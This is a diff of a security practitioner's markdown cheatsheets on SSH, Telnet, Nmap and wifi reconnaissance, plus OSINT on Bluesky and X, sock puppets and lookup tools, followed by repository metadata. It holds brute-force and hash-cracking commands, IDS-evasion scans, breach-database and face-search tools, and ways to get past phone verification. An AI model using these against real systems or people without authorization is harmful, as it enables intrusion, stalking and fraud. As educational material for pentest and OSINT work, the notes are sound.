ssh -v $user@$IP
|
||||
```
|
||||
|
||||
Look for `publickey,password` in the output.
|
||||
|
||||
## Key-Based Auth
|
||||
|
||||
If you find a private key (`id_rsa`), set permissions and connect:
|
||||
|
||||
```bash
|
||||
chmod 600 id_rsa
|
||||
ssh -i id_rsa $user@$IP
|
||||
```
|
||||
|
||||
If the key is encrypted, crack the passphrase:
|
||||
|
||||
```bash
|
||||
ssh2john id_rsa > hash.txt
|
||||
john hash.txt --wordlist=~/wordlists/rockyou.txt
|
||||
hashcat -m 22921 hash.txt ~/wordlists/rockyou.txt
|
||||
```
|
||||
@@ -0,0 +1,52 @@
|
||||
---
|
||||
title: "Telnet"
|
||||
description: "Enumeration, exploitation and post-exploitation techniques for Telnet servers."
|
||||
tags: ["telnet", "network", "service"]
|
||||
publishDate: 2026-05-04
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
Telnet runs on **port 23** and transmits all data (including credentials) in **cleartext**.
|
||||
Common on embedded devices, legacy systems, routers, and IoT equipment.
|
||||
|
||||
## Enumeration
|
||||
|
||||
### Banner grabbing
|
||||
|
||||
```bash
|
||||
nc -nv $IP 23
|
||||
telnet $IP
|
||||
```
|
||||
|
||||
The banner often reveals the OS, hostname, or device type.
|
||||
|
||||
### Nmap
|
||||
|
||||
```bash
|
||||
nmap -sV -p 23 $IP
|
||||
nmap -p 23 --script telnet-* $IP
|
||||
```
|
||||
|
||||
Key scripts:
|
||||
|
||||
- `telnet-ntlm-info`: extracts NTLM info (Windows targets)
|
||||
- `telnet-brute`: brute-force credentials
|
||||
|
||||
## Connect
|
||||
|
||||
```bash
|
||||
telnet $IP
|
||||
telnet $IP 23
|
||||
```
|
||||
|
||||
Login with `user` / `password`. Session is fully interactive once authenticated.
|
||||
|
||||
## Brute Force
|
||||
|
||||
```bash
|
||||
hydra -l $user -P ~/wordlists/rockyou.txt telnet://$IP
|
||||
medusa -h $IP -u $user -P ~/wordlists/rockyou.txt -M telnet
|
||||
```
|
||||
|
||||
Try default credentials first. Routers and embedded devices commonly ship with `admin:admin`, `root:root`, or blank passwords.
|
||||
@@ -1,109 +0,0 @@
|
||||
---
|
||||
title: "Nmap - Basics"
|
||||
description: "Quick reference for essential Nmap commands for network reconnaissance."
|
||||
category: "Network"
|
||||
tags: ["nmap", "recon", "network", "scanning"]
|
||||
publishDate: 2026-04-24
|
||||
---
|
||||
|
||||
## Introduction
|
||||
|
||||
Nmap (Network Mapper) is the go-to tool for network discovery and security auditing. It lets you scan hosts, detect open services, and identify operating systems. For raw connections and banner grabbing, see [Netcat](/notes/netcat).
|
||||
|
||||
## Installation
|
||||
|
||||
```bash
|
||||
# Debian/Ubuntu
|
||||
sudo apt install nmap
|
||||
|
||||
# Arch Linux
|
||||
sudo pacman -S nmap
|
||||
```
|
||||
|
||||
## Core Commands
|
||||
|
||||
### Host Discovery
|
||||
|
||||
```bash
|
||||
# Ping scan (no port scan)
|
||||
nmap -sn 192.168.1.0/24
|
||||
|
||||
# Skip ping (treat host as up)
|
||||
nmap -Pn 192.168.1.1
|
||||
```
|
||||
|
||||
### Port Scanning
|
||||
|
||||
```bash
|
||||
# 1000 most common ports (default)
|
||||
nmap 192.168.1.1
|
||||
|
||||
# All ports (0–65535)
|
||||
nmap -p- 192.168.1.1
|
||||
|
||||
# Specific ports
|
||||
nmap -p 22,80,443 192.168.1.1
|
||||
|
||||
# Port range
|
||||
nmap -p 1-1024 192.168.1.1
|
||||
```
|
||||
|
||||
### Service & OS Detection
|
||||
|
||||
```bash
|
||||
# Service version detection
|
||||
nmap -sV 192.168.1.1
|
||||
|
||||
# OS detection
|
||||
nmap -O 192.168.1.1
|
||||
|
||||
# Aggressive scan (OS + version + scripts + traceroute)
|
||||
nmap -A 192.168.1.1
|
||||
```
|
||||
|
||||
### Scan Types
|
||||
|
||||
| Flag | Type | Description |
|
||||
|------|------|-------------|
|
||||
| `-sS` | SYN Scan | Fast and stealthy (requires root) |
|
||||
| `-sT` | TCP Connect | Full connect, no root needed |
|
||||
| `-sU` | UDP Scan | For UDP services |
|
||||
| `-sN` | Null Scan | No TCP flags |
|
||||
| `-sF` | FIN Scan | FIN flag only |
|
||||
|
||||
### NSE Scripts
|
||||
|
||||
```bash
|
||||
# Specific script
|
||||
nmap --script=http-title 192.168.1.1
|
||||
|
||||
# Script category
|
||||
nmap --script=vuln 192.168.1.1
|
||||
|
||||
# Default scripts
|
||||
nmap -sC 192.168.1.1
|
||||
```
|
||||
|
||||
## Useful Flags
|
||||
|
||||
| Flag | Description |
|
||||
|------|-------------|
|
||||
| `-v` / `-vv` | Verbose output |
|
||||
| `-oN <file>` | Normal text output |
|
||||
| `-oX <file>` | XML output |
|
||||
| `-oG <file>` | Grepable output |
|
||||
| `-T0` to `-T5` | Timing (0=paranoid, 5=insane) |
|
||||
| `--open` | Show only open ports |
|
||||
|
||||
## Practical Examples
|
||||
|
||||
```bash
|
||||
# Full network scan
|
||||
nmap -sV -sC -O -p- 192.168.1.0/24 -oN scan.txt
|
||||
|
||||
# Slow stealthy scan to avoid IDS
|
||||
nmap -sS -T1 -f 192.168.1.1
|
||||
|
||||
# UDP scan of common ports
|
||||
nmap -sU --top-ports 100 192.168.1.1
|
||||
```
|
||||
@@ -0,0 +1,97 @@
|
||||
---
|
||||
title: "Bluesky"
|
||||
description: "Enumeration, search operators, API endpoints and tools for investigating Bluesky accounts."
|
||||
tags: ["osint", "bluesky", "social-media", "enumeration"]
|
||||
publishDate: 2026-04-29
|
||||
---
|
||||
|
||||
## Key Concepts
|
||||
|
||||
Bluesky is built on the **AT Protocol**. Every account has two identifiers:
|
||||
|
||||
- **Handle**: `user.bsky.social` or a custom domain (can change)
|
||||
- **DID**: `did:plc:ewvi7nxzyoun6zhxrhs64oiz` (permanent, survives handle changes)
|
||||
|
||||
All public content is accessible **without an account**. Follower/following lists are also public by default.
|
||||
|
||||
## Account Enumeration
|
||||
|
||||
### Resolve handle → DID
|
||||
|
||||
```
|
||||
https://bsky.social/xrpc/com.atproto.identity.resolveHandle?handle=$HANDLE
|
||||
```
|
||||
|
||||
### Resolve DID → history (all past handles, keys, creation date)
|
||||
|
||||
```
|
||||
https://plc.directory/$DID
|
||||
```
|
||||
|
||||
### Get profile metadata
|
||||
|
||||
```
|
||||
https://public.api.bsky.app/xrpc/app.bsky.actor.getProfile?actor=$HANDLE
|
||||
```
|
||||
|
||||
Returns: DID, display name, description, follower/following count, creation date, avatar URL.
|
||||
|
||||
### Followers / following
|
||||
|
||||
```
|
||||
https://public.api.bsky.app/xrpc/app.bsky.graph.getFollowers?actor=$HANDLE&limit=100
|
||||
https://public.api.bsky.app/xrpc/app.bsky.graph.getFollows?actor=$HANDLE&limit=100
|
||||
```
|
||||
|
||||
Paginate with the `cursor` field from the response.
|
||||
|
||||
## Search Operators
|
||||
|
||||
Bluesky's full-text search supports these operators (combinable):
|
||||
|
||||
| Operator | Example | Effect |
|
||||
| ----------- | ----------------------------- | ----------------------------- |
|
||||
| `"..."` | `"exact phrase"` | Exact match |
|
||||
| `from:` | `from:handle.bsky.social` | Posts by user |
|
||||
| `mentions:` | `mentions:handle.bsky.social` | Posts mentioning user |
|
||||
| `since:` | `since:2024-01-01` | After date (UTC, YYYY-MM-DD) |
|
||||
| `until:` | `until:2024-06-30` | Before date (UTC, YYYY-MM-DD) |
|
||||
| `lang:` | `lang:fr` | Language (ISO 639-1) |
|
||||
| `domain:` | `domain:github.com` | Posts linking to domain |
|
||||
| `#tag` | `#osint` | Hashtag |
|
||||
|
||||
#### API equivalent
|
||||
|
||||
```
|
||||
https://public.api.bsky.app/xrpc/app.bsky.feed.searchPosts?q={QUERY}&author={HANDLE}&since=2024-01-01&until=2024-12-31&lang=en&limit=25
|
||||
```
|
||||
|
||||
## Google Dorks
|
||||
|
||||
Bluesky is heavily indexed by Google. Useful for finding profiles and posts without touching the platform:
|
||||
|
||||
```
|
||||
site:bsky.app "$TARGET_NAME"
|
||||
site:bsky.app "$TARGET_NAME" inurl:profile
|
||||
site:bsky.app "$KEYWORD" since:2024-01-01
|
||||
```
|
||||
|
||||
## Tools
|
||||
|
||||
### BlueSkyNet
|
||||
|
||||
Web app for searching and exporting Bluesky data to CSV. Wraps the public API with a UI for advanced search filters.
|
||||
|
||||
- [github.com/jakecreps/blueskynet](https://github.com/jakecreps/blueskynet)
|
||||
|
||||
### ClearSky
|
||||
|
||||
Shows block lists, blocking history, and who blocked a given account. Useful for mapping relationships and adversarial clusters.
|
||||
|
||||
- [clearsky.app](https://clearsky.app)
|
||||
|
||||
### plc.directory
|
||||
|
||||
Official DID PLC directory. Lookup a DID to get full account history: creation date, all past handles, key rotations.
|
||||
|
||||
- [plc.directory](https://plc.directory)
|
||||
@@ -0,0 +1,69 @@
|
||||
---
|
||||
title: "Information Gathering"
|
||||
description: "Essential cybersecurity cheatsheet for Information Gathering and Open Source Intelligence (OSINT). Discover data related to emails, domains, usernames, and images using both command line and online tools."
|
||||
tags: ["osint", "enumeration", "information-gathering"]
|
||||
publishDate: 2026-05-03
|
||||
---
|
||||
|
||||
**Information Gathering**, often referred to as **Open Source Intelligence (OSINT)** in the context of ethical hacking, is the systematic collection and analysis of publicly available data about a target, providing the foundational knowledge necessary to identify potential vulnerabilities and craft targeted security assessments.
|
||||
|
||||
## Command line tools
|
||||
|
||||
| **From** | **Use** |
|
||||
| --------- | ----------------------------------------------------------------------------------------------- |
|
||||
| Email | `holehe $email` |
|
||||
| | `ghunt email $email` (for google account) |
|
||||
| | `github-recon $email` ([link](http://github.com/anotherhadi/github-recon/), for github account) |
|
||||
| Domain | `theHarvester -d $domain -l 100` |
|
||||
| | `theHarvester -d $domain -l 100 -b all` (full) |
|
||||
| Username | `sherlock $username` |
|
||||
| Image | `exiftool $imagePath` |
|
||||
| Instagram | `instaloader profile $username` |
|
||||
| Github | `trufflehog github --org=$usernameOrOrg` |
|
||||
| | `github-recon $username` ([link](http://github.com/anotherhadi/github-recon/)) |
|
||||
|
||||
## Online tools
|
||||
|
||||
| **For** | **Use** |
|
||||
| ---------- | ------------------------------------------------------ |
|
||||
| Visualiser | [OSINTracker](https://www.osintracker.com/) |
|
||||
| IP | [Shodan](https://www.shodan.io/) |
|
||||
| | [Censys](https://search.censys.io/) |
|
||||
| Domain | [Whois](https://www.whois.com/whois/) |
|
||||
| | [crt.sh](https://crt.sh/) (certificate transparency) |
|
||||
| Name | [Webmii](https://webmii.com/) |
|
||||
| | [BreachDirectory](https://breachdirectory.org/) |
|
||||
| | [LeakLookup](https://leak-lookup.com/search) |
|
||||
| | [IntelX](https://intelx.io/) |
|
||||
| | [Genealogic.review](https://genealogic.review/) |
|
||||
| SSID | [Wigle](https://wigle.net/) |
|
||||
| Image | [PimEyes (faces)](https://pimeyes.com/) |
|
||||
| | [Lenso (faces)](https://lenso.ai) |
|
||||
| | [TinEye](https://tineye.com) |
|
||||
| | [Pic2Map (exif geolocation)](https://www.pic2map.com/) |
|
||||
| Username | [DeHashed](https://dehashed.com/search) |
|
||||
| | [BreachDirectory](https://breachdirectory.org/) |
|
||||
| | [IntelX](https://intelx.io/) |
|
||||
| | [LeakLookup](https://leak-lookup.com/search) |
|
||||
| | [Oathnet](https://oathnet.org/) |
|
||||
| Email | [DeHashed](https://dehashed.com/search) |
|
||||
| | [Hunter](https://hunter.io/) |
|
||||
| | [HaveIBeenPwned](https://haveibeenpwned.com/) |
|
||||
| | [BreachDirectory](https://breachdirectory.org/) |
|
||||
| | [LeakLookup](https://leak-lookup.com/search) |
|
||||
| | [IntelX](https://intelx.io/) |
|
||||
| | [Oathnet](https://oathnet.org/) |
|
||||
| Phone | [Epieos](https://epieos.com/) |
|
||||
| Instagram | [Dumpor](https://dumpor.io/) |
|
||||
| Misc | [Goosint](https://goosint.com/) |
|
||||
| | [OSINT Framework](https://osintframework.com/) |
|
||||
| | [OSINT Dojo](https://osintdojo.com/) |
|
||||
|
||||
## OSINT Aggregation Tool
|
||||
|
||||
<a href="https://iknowyou.hadi.icu" class="link-card not-prose" target="_blank">
|
||||
<span>
|
||||
<h4>IKnowYou</h4>
|
||||
<p>Self-hosted OSINT aggregation platform: Run dozens of open-source intelligence tools against a single target in parallel; all from one clean web interface.</p>
|
||||
</span>
|
||||
</a>
|
||||
@@ -0,0 +1,83 @@
|
||||
---
|
||||
title: "Sock Puppets"
|
||||
description: "Essential cheatsheet on creating and managing Sock Puppets (fake identities) for ethical security research and Open Source Intelligence (OSINT), focusing on maintaining separation from personal data and bypassing common verification."
|
||||
tags: ["osint", "sock-puppets"]
|
||||
publishDate: 2026-05-03
|
||||
---
|
||||
|
||||
Sock puppets are fake identities use to gather information from a target.
|
||||
The sock puppet should have no link between your personal information and the fakes ones. (No ip address, mail, follow, etc..)
|
||||
|
||||
## Information generation
|
||||
|
||||
<a href="https://fakerjs.dev" class="link-card not-prose" target="_blank">
|
||||
<span>
|
||||
<h4>Faker</h4>
|
||||
<p>Generate massive amounts of fake data</p>
|
||||
</span>
|
||||
</a>
|
||||
|
||||
<a href="https://fakenamegenerator.com/" class="link-card not-prose" target="_blank">
|
||||
<span>
|
||||
<h4>Fake Name</h4>
|
||||
<p>Personal informations</p>
|
||||
</span>
|
||||
</a>
|
||||
|
||||
<a href="https://www.thispersondoesnotexist.com/" class="link-card not-prose" target="_blank">
|
||||
<span>
|
||||
<h4>This Person Does Not Exist</h4>
|
||||
<p>Generate fake image</p>
|
||||
</span>
|
||||
</a>
|
||||
|
||||
## Bypass phone verification
|
||||
|
||||
<a href="https://www.smspool.net/" class="link-card not-prose" target="_blank">
|
||||
<span>
|
||||
<h4>SMSPool</h4>
|
||||
<p>Cheapest and Fastest Online SMS verification</p>
|
||||
</span>
|
||||
</a>
|
||||
|
||||
<a href="https://receive-sms-online.info" class="link-card not-prose" target="_blank">
|
||||
<span>
|
||||
<h4>Receive Sms Online</h4>
|
||||
<p>Free SMS verification</p>
|
||||
</span>
|
||||
</a>
|
||||
|
||||
<a href="https://receivefreesms.net" class="link-card not-prose" target="_blank">
|
||||
<span>
|
||||
<h4>Receive Free Sms</h4>
|
||||
<p>Free SMS verification</p>
|
||||
</span>
|
||||
</a>
|
||||
|
||||
<a href="https://receive-smss.com" class="link-card not-prose" target="_blank">
|
||||
<span>
|
||||
<h4>Receive Free Sms</h4>
|
||||
<p>Free SMS verification</p>
|
||||
</span>
|
||||
</a>
|
||||
|
||||
<a href="https://onlinesim.io/" class="link-card not-prose" target="_blank">
|
||||
<span>
|
||||
<h4>Online Sim</h4>
|
||||
<p>SMS verification with free tier</p>
|
||||
</span>
|
||||
</a>
|
||||
|
||||
<a href="https://sms4stats.com/" class="link-card not-prose" target="_blank">
|
||||
<span>
|
||||
<h4>Sms 4 Sats</h4>
|
||||
<p>Paid SMS verification</p>
|
||||
</span>
|
||||
</a>
|
||||
|
||||
<a href="http://sms4sat6y7lkq4vscloomatwyj33cfeddukkvujo2hkdqtmyi465spid.onion" class="link-card not-prose" target="_blank">
|
||||
<span>
|
||||
<h4>Sms 4 Sats (Onion)</h4>
|
||||
<p>Paid SMS verification. Tor version</p>
|
||||
</span>
|
||||
</a>
|
||||
@@ -0,0 +1,42 @@
|
||||
---
|
||||
title: "Tips"
|
||||
description: "A cheatsheet of practical tips and unconventional methods for Open Source Intelligence (OSINT), focusing on advanced data visualization, information leakage detection, and utilizing web archives for historical data."
|
||||
tags: ["osint"]
|
||||
publishDate: 2026-05-03
|
||||
---
|
||||
|
||||
## Visualisation
|
||||
|
||||
Use [OSINTracker](https://app.osintracker.com/) to visualise your findings.
|
||||
It allows you to create a graph of your findings, which can help you see connections and relationships between different pieces of information.
|
||||
|
||||
## Forgotten passwords
|
||||
|
||||
To find email addresses and phone numbers associated with an account, you can click on "Forgot password?" on the login page of a website. Be careful, though, this creates notifications and can be detected by the target, and often gives your information away.
|
||||
|
||||
## Archive Search
|
||||
|
||||
- [Wayback Machine](https://web.archive.org) stores over 618 billion web captures
|
||||
- [Archive.ph](https://archive.ph) creates on-demand snapshots, including for JS-heavy sites, with both a functional page and screenshot version
|
||||
|
||||
## Google Cache
|
||||
|
||||
Google keeps a cached version of most indexed pages. Access it with the `cache:` operator:
|
||||
|
||||
```
|
||||
cache:example.com
|
||||
cache:example.com/page
|
||||
```
|
||||
|
||||
If the page has been taken down or modified, the cached version may still show the original content.
|
||||
|
||||
## Domain History
|
||||
|
||||
[VirusTotal](https://www.virustotal.com) shows the historical DNS records, subdomains, and associated IPs for any domain — useful when a site has moved or been taken down.
|
||||
|
||||
[ViewDNS.info](https://viewdns.info) covers WHOIS history, reverse IP, reverse MX, and port scans from a single interface.
|
||||
|
||||
## Bookmarklets
|
||||
|
||||
- [K2SOsint/Bookmarklets](https://github.com/K2SOsint/Bookmarklets)
|
||||
- [tools.myosint.training](https://tools.myosint.training/)
|
||||
@@ -0,0 +1,138 @@
|
||||
---
|
||||
title: "X / Twitter"
|
||||
description: "Enumeration, search operators, deleted content recovery and tools for investigating X accounts."
|
||||
tags: ["osint", "twitter", "x", "social-media", "enumeration"]
|
||||
publishDate: 2026-04-29
|
||||
---
|
||||
|
||||
## Key Concepts
|
||||
|
||||
Every account has two identifiers:
|
||||
|
||||
- **Handle**: `@username` (can change)
|
||||
- **User ID**: numeric, permanent (survives handle changes and suspensions)
|
||||
|
||||
Unlike [Bluesky](/notes/osint/bluesky), X now requires a login to browse most content in the browser. The free API tier (v2) is severely limited. Most open-source scraping tools that bypassed the API (Twint, snscrape, GetOldTweets3) are broken since the 2023 API lockdown.
|
||||
|
||||
## Account Enumeration
|
||||
|
||||
### Handle to User ID
|
||||
|
||||
The user ID stays constant when someone changes their handle or gets suspended. Several web tools resolve it:
|
||||
|
||||
- [tweeterid.com](https://tweeterid.com/)
|
||||
- [commentpicker.com/twitter-id.php](https://commentpicker.com/twitter-id.php)
|
||||
|
||||
Or via the profile page source: look for `"id_str"` in the page JSON.
|
||||
|
||||
### Banner last update time
|
||||
|
||||
The profile banner URL contains a Unix timestamp indicating when the banner was last changed:
|
||||
|
||||
```
|
||||
https://pbs.twimg.com/profile_banners/{user_id}/{unix_timestamp}/600x200
|
||||
```
|
||||
|
||||
Right-click the banner image and copy the URL, or inspect the page source. Convert the timestamp at [unixtimestamp.com](https://www.unixtimestamp.com/).
|
||||
|
||||
### Timestamp from ID (Snowflake)
|
||||
|
||||
Twitter IDs are Snowflake IDs: the numeric value encodes the exact creation time of a tweet or account. Extract it with:
|
||||
|
||||
```python
|
||||
tweet_id = 1234567890123456789
|
||||
timestamp_ms = (tweet_id >> 22) + 1288834974657
|
||||
```
|
||||
|
||||
`1288834974657` is Twitter's custom epoch (Nov 4, 2010). Works on both tweet IDs and user IDs — useful to confirm account creation date without needing profile metadata.
|
||||
|
||||
Several online converters exist if you don't want to do it manually — search "snowflake id decoder".
|
||||
|
||||
### Direct profile URL by ID
|
||||
|
||||
Old tweet/profile URLs using numeric IDs still resolve even after handle changes:
|
||||
|
||||
```
|
||||
https://x.com/i/user/$USER_ID
|
||||
```
|
||||
|
||||
## Search Operators
|
||||
|
||||
Accessible at `x.com/search`. Operators are combinable.
|
||||
|
||||
| Operator | Example | Effect |
|
||||
| ----------------- | -------------------------- | ------------------------ |
|
||||
| `"..."` | `"exact phrase"` | Exact match |
|
||||
| `from:` | `from:handle` | Posts by user |
|
||||
| `to:` | `to:handle` | Posts directed at user |
|
||||
| `since:` | `since:2024-01-01` | After date (YYYY-MM-DD) |
|
||||
| `until:` | `until:2024-06-30` | Before date (YYYY-MM-DD) |
|
||||
| `lang:` | `lang:fr` | Language (ISO 639-1) |
|
||||
| `near:` | `near:"Paris" within:10km` | Geo (web only, not API) |
|
||||
| `geocode:` | `geocode:48.85,2.35,5km` | Geo by coordinates |
|
||||
| `filter:images` | | Posts with images |
|
||||
| `filter:videos` | | Posts with videos |
|
||||
| `filter:links` | | Posts with URLs |
|
||||
| `filter:verified` | | Verified accounts only |
|
||||
| `-filter:replies` | | Exclude replies |
|
||||
| `min_retweets:` | `min_retweets:100` | Engagement threshold |
|
||||
| `min_faves:` | `min_faves:500` | Engagement threshold |
|
||||
| `#tag` | `#osint` | Hashtag |
|
||||
| `-term` | `-spam` | Exclude term |
|
||||
|
||||
Boolean: spaces imply AND, use uppercase `OR` for alternatives, parentheses for grouping.
|
||||
|
||||
#### Direct search URL
|
||||
|
||||
```
|
||||
https://x.com/search?q=from%3A$HANDLE+since%3A2024-01-01&f=live
|
||||
```
|
||||
|
||||
`f=live` returns chronological results instead of relevance-ranked.
|
||||
|
||||
## Google Dorks
|
||||
|
||||
```
|
||||
site:x.com "$TARGET"
|
||||
site:twitter.com "$TARGET"
|
||||
site:x.com/i/status "$KEYWORD"
|
||||
"twitter.com/$HANDLE" OR "x.com/$HANDLE"
|
||||
```
|
||||
|
||||
Old `twitter.com` URLs are still indexed separately from `x.com`, search both.
|
||||
|
||||
## Deleted and Archived Content
|
||||
|
||||
### Wayback Machine
|
||||
|
||||
```
|
||||
https://web.archive.org/web/*/twitter.com/$HANDLE/status/*
|
||||
https://web.archive.org/web/*/x.com/$HANDLE/status/*
|
||||
```
|
||||
|
||||
Manually browse snapshots, or use [waybacktweets](https://github.com/claromes/waybacktweets) to batch-retrieve CDX data:
|
||||
|
||||
```bash
|
||||
pip install waybacktweets
|
||||
waybacktweets $HANDLE
|
||||
```
|
||||
|
||||
Outputs CSV/JSON with archived tweet URLs. Useful for deleted posts and suspended accounts.
|
||||
|
||||
### Twayback
|
||||
|
||||
Web tool wrapping the same Wayback CDX API with a UI:
|
||||
|
||||
```
|
||||
https://twayback.space/
|
||||
```
|
||||
|
||||
Note: only works if the tweet was crawled before deletion.
|
||||
|
||||
### Profile history
|
||||
|
||||
The Wayback Machine also archives profile pages: past bios, display names, profile photos, header images. Check snapshots at:
|
||||
|
||||
```
|
||||
https://web.archive.org/web/*/twitter.com/$HANDLE
|
||||
```
|
||||
@@ -1,29 +0,0 @@
|
||||
---
|
||||
title: "Recon Checklist"
|
||||
description: "Structured approach to reconnaissance before an engagement."
|
||||
category: "Methodology"
|
||||
tags: ["recon", "methodology", "checklist"]
|
||||
publishDate: 2026-04-24
|
||||
---
|
||||
|
||||
A quick checklist to follow before diving into exploitation.
|
||||
|
||||
## Network
|
||||
|
||||
- [ ] Discover live hosts — [Nmap](/notes/nmap-basics)
|
||||
- [ ] Identify open ports and services — [Nmap](/notes/nmap-basics)
|
||||
- [ ] Banner grab with [Netcat](/notes/netcat)
|
||||
- [ ] Check for wireless networks — [Wifi Recon](/notes/wifi-recon)
|
||||
|
||||
## Web
|
||||
|
||||
- [ ] Spider the target
|
||||
- [ ] Intercept traffic — [Burp Suite](/notes/burpsuite-basics)
|
||||
- [ ] Check for common vulns (SQLi, XSS, LFI)
|
||||
- [ ] Review JS files for endpoints and secrets
|
||||
|
||||
## Notes
|
||||
|
||||
- Document everything as you go
|
||||
- Screenshot evidence
|
||||
- Note service versions for CVE lookups
|
||||
@@ -1,44 +0,0 @@
|
||||
---
|
||||
title: "Wifi Recon"
|
||||
description: "Passive and active reconnaissance on wireless networks."
|
||||
category: "Wifi"
|
||||
tags: ["wifi", "recon", "aircrack", "monitor-mode"]
|
||||
publishDate: 2026-04-24
|
||||
---
|
||||
|
||||
Before attacking a wifi network, map the environment. Combine with [Nmap](/notes/nmap-basics) once connected.
|
||||
|
||||
## Enable Monitor Mode
|
||||
|
||||
```bash
|
||||
sudo airmon-ng check kill
|
||||
sudo airmon-ng start wlan0
|
||||
# Interface becomes wlan0mon
|
||||
```
|
||||
|
||||
## Scan Networks
|
||||
|
||||
```bash
|
||||
# Passive scan — all channels
|
||||
sudo airodump-ng wlan0mon
|
||||
|
||||
# Target a specific AP
|
||||
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
|
||||
```
|
||||
|
||||
## Key Fields
|
||||
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| BSSID | AP MAC address |
|
||||
| PWR | Signal strength |
|
||||
| #Data | Data frames (useful for WEP) |
|
||||
| ENC | Encryption type |
|
||||
| ESSID | Network name |
|
||||
|
||||
## Disable Monitor Mode
|
||||
|
||||
```bash
|
||||
sudo airmon-ng stop wlan0mon
|
||||
sudo systemctl restart NetworkManager
|
||||
```
|
||||
+229
-117
@@ -7,7 +7,7 @@
|
||||
"login_name": "",
|
||||
"source_id": 0,
|
||||
"full_name": "Hadi",
|
||||
"email": "anotherhadi@noreply.git.hadi.icu",
|
||||
"email": "1+anotherhadi@noreply.git.hadi.icu",
|
||||
"avatar_url": "https://git.hadi.icu/avatars/a6f9dd8586f079ec7619ade21789a3c5dad02d7869f74a3cca0c976c81b8c9ae",
|
||||
"html_url": "https://git.hadi.icu/anotherhadi",
|
||||
"language": "",
|
||||
@@ -34,7 +34,7 @@
|
||||
"fork": false,
|
||||
"template": false,
|
||||
"mirror": true,
|
||||
"size": 429945,
|
||||
"size": 430163,
|
||||
"language": "Nix",
|
||||
"languages_url": "https://git.hadi.icu/api/v1/repos/anotherhadi/nixy/languages",
|
||||
"html_url": "https://git.hadi.icu/anotherhadi/nixy",
|
||||
@@ -47,13 +47,14 @@
|
||||
"stars_count": 0,
|
||||
"forks_count": 0,
|
||||
"watchers_count": 1,
|
||||
"branch_count": 1,
|
||||
"open_issues_count": 0,
|
||||
"open_pr_counter": 0,
|
||||
"release_counter": 0,
|
||||
"default_branch": "main",
|
||||
"archived": false,
|
||||
"created_at": "2026-03-30T17:31:04+02:00",
|
||||
"updated_at": "2026-04-23T09:52:11+02:00",
|
||||
"updated_at": "2026-05-07T09:47:53+02:00",
|
||||
"archived_at": "1970-01-01T01:00:00+01:00",
|
||||
"permissions": {
|
||||
"admin": false,
|
||||
@@ -90,7 +91,7 @@
|
||||
"internal": false,
|
||||
"mirror_interval": "8h0m0s",
|
||||
"object_format_name": "sha1",
|
||||
"mirror_updated": "2026-04-23T11:17:25+02:00",
|
||||
"mirror_updated": "2026-05-07T16:22:32+02:00",
|
||||
"topics": [
|
||||
"dotfiles",
|
||||
"hyprland",
|
||||
@@ -106,6 +107,220 @@
|
||||
},
|
||||
"banner_url": "https://git.hadi.icu/anotherhadi/nixy/raw/branch/main/.github/assets/banner.png"
|
||||
},
|
||||
{
|
||||
"id": 9,
|
||||
"owner": {
|
||||
"id": 1,
|
||||
"login": "anotherhadi",
|
||||
"login_name": "",
|
||||
"source_id": 0,
|
||||
"full_name": "Hadi",
|
||||
"email": "1+anotherhadi@noreply.git.hadi.icu",
|
||||
"avatar_url": "https://git.hadi.icu/avatars/a6f9dd8586f079ec7619ade21789a3c5dad02d7869f74a3cca0c976c81b8c9ae",
|
||||
"html_url": "https://git.hadi.icu/anotherhadi",
|
||||
"language": "",
|
||||
"is_admin": false,
|
||||
"last_login": "0001-01-01T00:00:00Z",
|
||||
"created": "2026-03-30T17:21:50+02:00",
|
||||
"restricted": false,
|
||||
"active": false,
|
||||
"prohibit_login": false,
|
||||
"location": "127.0.0.1",
|
||||
"website": "https://hadi.icu",
|
||||
"description": "Infosec engineer passionate about Linux/NixOS, blockchains, OSINT & FOSS. Hacking with Go, exploring open tech, and contributing whenever I can 🐧\r\n\r\n[Github](https://github.com/anotherhadi) | [Gitlab (mirror)](https://gitlab.com/anotherhadi_mirror)",
|
||||
"visibility": "public",
|
||||
"followers_count": 0,
|
||||
"following_count": 0,
|
||||
"starred_repos_count": 0,
|
||||
"username": "anotherhadi"
|
||||
},
|
||||
"name": "usbguard-tui",
|
||||
"full_name": "anotherhadi/usbguard-tui",
|
||||
"description": "A terminal UI for managing USB devices via usbguard. TUI built with golang & bubbletea.",
|
||||
"empty": false,
|
||||
"private": false,
|
||||
"fork": false,
|
||||
"template": false,
|
||||
"mirror": true,
|
||||
"size": 425,
|
||||
"language": "Go",
|
||||
"languages_url": "https://git.hadi.icu/api/v1/repos/anotherhadi/usbguard-tui/languages",
|
||||
"html_url": "https://git.hadi.icu/anotherhadi/usbguard-tui",
|
||||
"url": "https://git.hadi.icu/api/v1/repos/anotherhadi/usbguard-tui",
|
||||
"link": "",
|
||||
"ssh_url": "gitea@git.hadi.icu:anotherhadi/usbguard-tui.git",
|
||||
"clone_url": "https://git.hadi.icu/anotherhadi/usbguard-tui.git",
|
||||
"original_url": "https://github.com/anotherhadi/usbguard-tui",
|
||||
"website": "",
|
||||
"stars_count": 0,
|
||||
"forks_count": 0,
|
||||
"watchers_count": 1,
|
||||
"branch_count": 1,
|
||||
"open_issues_count": 0,
|
||||
"open_pr_counter": 0,
|
||||
"release_counter": 0,
|
||||
"default_branch": "main",
|
||||
"archived": false,
|
||||
"created_at": "2026-04-30T17:40:42+02:00",
|
||||
"updated_at": "2026-05-06T14:42:02+02:00",
|
||||
"archived_at": "1970-01-01T01:00:00+01:00",
|
||||
"permissions": {
|
||||
"admin": false,
|
||||
"push": false,
|
||||
"pull": true
|
||||
},
|
||||
"has_code": true,
|
||||
"has_issues": true,
|
||||
"internal_tracker": {
|
||||
"enable_time_tracker": true,
|
||||
"allow_only_contributors_to_track_time": true,
|
||||
"enable_issue_dependencies": true
|
||||
},
|
||||
"has_wiki": true,
|
||||
"has_pull_requests": false,
|
||||
"has_projects": true,
|
||||
"projects_mode": "all",
|
||||
"has_releases": true,
|
||||
"has_packages": true,
|
||||
"has_actions": false,
|
||||
"ignore_whitespace_conflicts": false,
|
||||
"allow_merge_commits": false,
|
||||
"allow_rebase": false,
|
||||
"allow_rebase_explicit": false,
|
||||
"allow_squash_merge": false,
|
||||
"allow_fast_forward_only_merge": false,
|
||||
"allow_rebase_update": false,
|
||||
"allow_manual_merge": true,
|
||||
"autodetect_manual_merge": false,
|
||||
"default_delete_branch_after_merge": false,
|
||||
